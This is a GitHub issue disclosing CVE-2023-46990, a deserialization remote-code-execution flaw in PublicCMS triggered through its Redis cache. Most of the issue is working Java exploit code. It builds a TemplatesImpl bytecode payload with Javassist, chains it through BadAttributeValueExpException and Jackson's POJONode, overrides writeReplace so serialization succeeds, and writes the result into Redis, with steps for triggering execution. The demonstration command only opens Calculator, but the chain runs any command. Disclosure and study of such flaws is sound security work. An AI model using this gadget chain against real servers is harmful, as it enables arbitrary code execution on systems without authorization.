Headline
CVE-2023-46990: Trigger deserialization rce through redis cache · Issue #76 · sanluan/PublicCMS
Deserialization of Untrusted Data in PublicCMS v.4.0.202302.e allows a remote attacker to execute arbitrary code via a crafted script to the writeReplace function.
Hello,I found a Deserialization vulnerability in the lastest version of PublicCMS- V4.0.202302.e
The prerequisite for this vulnerability is that the website uses redis cache and needs to obtain redis control permission to initiate deserialization, because redis will trigger deserialization when obtaining the value through the get function.
Then there is the deserialization gadget chain. Jackson and spring exist in the website dependencies. After testing, you can use the following deserialization chain.
BadAttributeValueExpException->POJOnode->TemplatesImpl。
The core code is as follows
public static void main( String\[\] args ) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass\[\]{},ctClass);
constructor.setBody("open -a /System/Applications/Calculator.app");
ctClass.addConstructor(constructor);
byte\[\] bytes = ctClass.toBytecode();
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "\_bytecodes", new byte\[\]\[\]{bytes});
setFieldValue(templatesImpl, "\_name", "boogipop");
setFieldValue(templatesImpl, "\_tfactory", null);
POJOnode1 jsonNodes = new POJOnode1(templatesImpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(exp);
FileOutputStream fout\=new FileOutputStream("1.ser");
fout.write(barr.toByteArray());
fout.close();
FileInputStream fileInputStream = new FileInputStream("1.ser");
System.out.println(serial(exp));
deserialize(serial(exp));
}
public static byte\[\] serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
System.out.println(bytesToHex(baos.toByteArray()));
// 设置Redis数据库连接参数 String host = "localhost"; int port = 6379; String password = "root"; Jedis jedis = new Jedis(host, port); jedis.auth(password); jedis.set("test".getBytes(), baos.toByteArray()); return baos.toByteArray();
}
But you need to pay attention to one detail. You need to rewrite a writeReplace method, because this function will replace some data during the serialization process, causing deserialization errors.
Reconstruct the BaseJsonNode.writeReplace function in the jar package, making sure to keep the path consistent.
If you only need to try rce locally, you can write it more conveniently like this.Rewrite it with the following code
import com.fasterxml.jackson.databind.node.POJONode;
import java.util.GregorianCalendar;
public class POJOnode1 extends POJONode { public POJOnode1(Object v) { super(v); }
Object writeReplace() {
GregorianCalendar NodeSerialization;
return this;
}
}
so now, you can use the above code to write the serialized hex data to redis。
When you use redis cache, the database will become like this
So if you can control the redis database at this time, you only need to change one of the domain.localhost or some other impairment to trigger deserialization to reach rce。Like the following main
Just visit the website now。